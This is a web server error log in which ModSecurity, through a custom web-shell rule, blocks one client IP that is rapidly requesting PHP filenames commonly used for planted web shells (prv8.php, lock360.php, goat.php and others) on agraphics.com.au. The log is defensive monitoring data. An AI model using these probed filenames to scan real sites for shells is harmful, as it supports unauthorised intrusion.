[Thu Feb 26 10:22:20.167358 2026] [:error] [pid 25311:tid 25320] [client 20.100.197.204:44576] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/karak.php"] [unique_id "aZ-uXNfdM__yZAgJFSs4BgAAAYY"]
[Thu Feb 26 10:22:21.326545 2026] [:error] [pid 55618:tid 55630] [client 20.100.197.204:58586] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "aZ-uXR61Vrh12f_8oWQt0AAAAQk"]
[Thu Feb 26 10:22:22.252025 2026] [:error] [pid 55618:tid 55642] [client 20.100.197.204:53899] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "aZ-uXh61Vrh12f_8oWQt0gAAARU"]
[Thu Feb 26 10:22:23.514873 2026] [:error] [pid 55051:tid 55062] [client 20.100.197.204:32673] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "aZ-uXwmK1w2kZvh5eLG9GgAAAIg"]
[Thu Feb 26 10:22:24.506723 2026] [:error] [pid 25311:tid 25319] [client 20.100.197.204:33922] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "aZ-uYNfdM__yZAgJFSs4FgAAAYU"]
[Thu Feb 26 10:22:25.642309 2026] [:error] [pid 25311:tid 25331] [client 20.100.197.204:50809] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aZ-uYdfdM__yZAgJFSs4IQAAAZE"]
[Thu Feb 26 10:22:26.603691 2026] [:error] [pid 55051:tid 55073] [client 20.100.197.204:7562] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aZ-uYgmK1w2kZvh5eLG9HAAAAJM"]
[Thu Feb 26 10:22:27.692048 2026] [:error] [pid 25311:tid 25322] [client 20.100.197.204:54476] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aZ-uY9fdM__yZAgJFSs4KgAAAYg"]
[Thu Feb 26 10:22:28.733851 2026] [:error] [pid 3883:tid 3889] [client 20.100.197.204:53552] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aZ-uZOA33x90V6yYHaj1hgAAAUM"]
[Thu Feb 26 10:22:29.905717 2026] [:error] [pid 55618:tid 55624] [client 20.100.197.204:43076] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ-uZR61Vrh12f_8oWQt1gAAAQM"]
[Thu Feb 26 10:22:30.681517 2026] [:error] [pid 3883:tid 3899] [client 20.100.197.204:48126] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ-uZuA33x90V6yYHaj1jwAAAU0"]
[Thu Feb 26 10:22:31.423063 2026] [:error] [pid 3883:tid 3892] [client 20.100.197.204:35496] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ-uZ-A33x90V6yYHaj1lAAAAUY"]
[Thu Feb 26 10:22:32.468985 2026] [:error] [pid 3883:tid 3889] [client 20.100.197.204:54829] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ-uaOA33x90V6yYHaj1mAAAAUM"]
[Thu Feb 26 10:22:33.392684 2026] [:error] [pid 3883:tid 3890] [client 20.100.197.204:56573] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aZ-uaeA33x90V6yYHaj1mwAAAUQ"]
[Thu Feb 26 10:22:34.914084 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:48479] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aZ-uatfdM__yZAgJFSs4OgAAAZU"]
[Thu Feb 26 10:22:36.068753 2026] [:error] [pid 25311:tid 25336] [client 20.100.197.204:52721] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aZ-ubNfdM__yZAgJFSs4PQAAAZY"]
[Thu Feb 26 10:22:38.938854 2026] [:error] [pid 54991:tid 55022] [client 20.100.197.204:62008] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aZ-ubt4Zx-mJ8gbRB2hwUwAAAEI"]
[Thu Feb 26 10:22:40.402282 2026] [:error] [pid 54991:tid 55029] [client 20.100.197.204:48423] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aZ-ucN4Zx-mJ8gbRB2hwVwAAAEk"]
[Thu Feb 26 10:22:41.153464 2026] [:error] [pid 55618:tid 55621] [client 20.100.197.204:57097] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aZ-ucR61Vrh12f_8oWQt2AAAAQA"]
[Thu Feb 26 10:22:42.387375 2026] [:error] [pid 54991:tid 55042] [client 20.100.197.204:7114] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aZ-uct4Zx-mJ8gbRB2hwWQAAAFY"]
[Thu Feb 26 10:22:43.421796 2026] [:error] [pid 3883:tid 3887] [client 20.100.197.204:51354] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aZ-uc-A33x90V6yYHaj1qwAAAUE"]
[Thu Feb 26 10:22:44.365923 2026] [:error] [pid 3883:tid 3893] [client 20.100.197.204:51432] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aZ-udOA33x90V6yYHaj1swAAAUc"]
[Thu Feb 26 10:22:47.144018 2026] [:error] [pid 55122:tid 55131] [client 20.100.197.204:55577] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aZ-ud4LiR0OfjFxvcN-PIQAAAMc"]
[Thu Feb 26 10:22:48.242684 2026] [:error] [pid 3883:tid 3909] [client 20.100.197.204:29955] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aZ-ueOA33x90V6yYHaj1wAAAAVc"]
[Thu Feb 26 10:22:49.821729 2026] [:error] [pid 25311:tid 25338] [client 20.100.197.204:1594] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aZ-uedfdM__yZAgJFSs4UwAAAZg"]
[Thu Feb 26 10:22:51.082585 2026] [:error] [pid 55122:tid 55147] [client 20.100.197.204:29989] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aZ-ue4LiR0OfjFxvcN-PJQAAANc"]
[Thu Feb 26 10:22:52.747843 2026] [:error] [pid 55122:tid 55134] [client 20.100.197.204:47602] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aZ-ufILiR0OfjFxvcN-PJwAAAMo"]
[Thu Feb 26 10:22:54.542601 2026] [:error] [pid 3883:tid 3888] [client 20.100.197.204:21790] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aZ-ufuA33x90V6yYHaj1yAAAAUI"]
[Thu Feb 26 10:22:57.323466 2026] [:error] [pid 55051:tid 55074] [client 20.100.197.204:40346] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aZ-ugQmK1w2kZvh5eLG9JQAAAJQ"]
[Thu Feb 26 10:22:58.511460 2026] [:error] [pid 55618:tid 55624] [client 20.100.197.204:45961] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aZ-ugh61Vrh12f_8oWQt8gAAAQM"]
[Thu Feb 26 10:23:01.558985 2026] [:error] [pid 54990:tid 54998] [client 20.100.197.204:46423] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aZ-uhXtr2qmt_mBhH2zHcAAAAAU"]
[Thu Feb 26 10:23:02.568720 2026] [:error] [pid 54990:tid 55014] [client 20.100.197.204:55390] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aZ-uhntr2qmt_mBhH2zHcQAAABU"]
[Thu Feb 26 10:23:03.500918 2026] [proxy_fcgi:error] [pid 3883:tid 3903] [client 20.100.197.204:55506] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:23:05.142061 2026] [proxy_fcgi:error] [pid 3883:tid 3886] [client 20.100.197.204:55506] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:23:05.601221 2026] [proxy_fcgi:error] [pid 3883:tid 3897] [client 20.100.197.204:55506] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:23:05.984922 2026] [proxy_fcgi:error] [pid 3883:tid 3900] [client 20.100.197.204:55506] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:23:06.247003 2026] [proxy_fcgi:error] [pid 3883:tid 3908] [client 20.100.197.204:55506] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:23:06.869152 2026] [proxy_fcgi:error] [pid 3883:tid 3907] [client 20.100.197.204:55506] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:23:07.254235 2026] [proxy_fcgi:error] [pid 3883:tid 3896] [client 20.100.197.204:55506] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:23:07.523191 2026] [proxy_fcgi:error] [pid 3883:tid 3890] [client 20.100.197.204:55506] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:23:07.797311 2026] [proxy_fcgi:error] [pid 3883:tid 3898] [client 20.100.197.204:55506] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:23:08.075900 2026] [proxy_fcgi:error] [pid 3883:tid 3906] [client 20.100.197.204:55506] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:23:08.349634 2026] [:error] [pid 3883:tid 3901] [client 20.100.197.204:55506] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZ-ujOA33x90V6yYHaj13QAAAU8"]
[Thu Feb 26 10:23:10.152243 2026] [:error] [pid 55122:tid 55131] [client 20.100.197.204:56632] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZ-ujoLiR0OfjFxvcN-POwAAAMc"]
[Thu Feb 26 10:23:11.877806 2026] [:error] [pid 3883:tid 3900] [client 20.100.197.204:7055] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZ-uj-A33x90V6yYHaj15wAAAU4"]
[Thu Feb 26 10:23:13.188379 2026] [:error] [pid 3883:tid 3896] [client 20.100.197.204:53968] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZ-ukeA33x90V6yYHaj16wAAAUo"]
[Thu Feb 26 10:23:14.086643 2026] [:error] [pid 55618:tid 55641] [client 20.100.197.204:22575] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aZ-ukh61Vrh12f_8oWQuUAAAARQ"]
[Thu Feb 26 10:23:15.293517 2026] [:error] [pid 3883:tid 3888] [client 20.100.197.204:7181] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aZ-uk-A33x90V6yYHaj17gAAAUI"]
[Thu Feb 26 10:23:16.197812 2026] [:error] [pid 54991:tid 55034] [client 20.100.197.204:22541] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aZ-ulN4Zx-mJ8gbRB2hwcQAAAE4"]
[Thu Feb 26 10:23:17.211235 2026] [:error] [pid 3883:tid 3894] [client 20.100.197.204:62138] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aZ-uleA33x90V6yYHaj18gAAAUg"]
[Thu Feb 26 10:23:18.795611 2026] [:error] [pid 55122:tid 55125] [client 20.100.197.204:45972] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aZ-uloLiR0OfjFxvcN-PQQAAAME"]
[Thu Feb 26 10:23:19.646338 2026] [:error] [pid 25311:tid 25331] [client 20.100.197.204:56739] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aZ-ul9fdM__yZAgJFSs4kgAAAZE"]
[Thu Feb 26 10:23:20.997650 2026] [:error] [pid 25311:tid 25338] [client 20.100.197.204:56721] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aZ-umNfdM__yZAgJFSs4mQAAAZg"]
[Thu Feb 26 10:23:22.080816 2026] [:error] [pid 55618:tid 55641] [client 20.100.197.204:32945] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aZ-umh61Vrh12f_8oWQufQAAARQ"]
[Thu Feb 26 10:23:23.402744 2026] [:error] [pid 54990:tid 54995] [client 20.100.197.204:51723] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aZ-um3tr2qmt_mBhH2zHewAAAAI"]
[Thu Feb 26 10:23:24.341133 2026] [:error] [pid 55618:tid 55643] [client 20.100.197.204:48047] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aZ-unB61Vrh12f_8oWQufwAAARY"]
[Thu Feb 26 10:23:26.291908 2026] [:error] [pid 3883:tid 3907] [client 20.100.197.204:1417] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aZ-unuA33x90V6yYHaj2CgAAAVU"]
[Thu Feb 26 10:23:27.184837 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:7081] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aZ-un9fdM__yZAgJFSs4sgAAAYA"]
[Thu Feb 26 10:23:28.355884 2026] [:error] [pid 3883:tid 3906] [client 20.100.197.204:62131] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aZ-uoOA33x90V6yYHaj2EQAAAVQ"]
[Thu Feb 26 10:23:30.245531 2026] [:error] [pid 55122:tid 55136] [client 20.100.197.204:55360] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aZ-uooLiR0OfjFxvcN-PRwAAAMw"]
[Thu Feb 26 10:23:31.273187 2026] [:error] [pid 55618:tid 55624] [client 20.100.197.204:55831] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aZ-uox61Vrh12f_8oWQukAAAAQM"]
[Thu Feb 26 10:23:32.748761 2026] [:error] [pid 55122:tid 55132] [client 20.100.197.204:55364] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aZ-upILiR0OfjFxvcN-PTgAAAMg"]
[Thu Feb 26 10:23:33.647353 2026] [:error] [pid 3883:tid 3909] [client 20.100.197.204:52011] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aZ-upeA33x90V6yYHaj2HwAAAVc"]
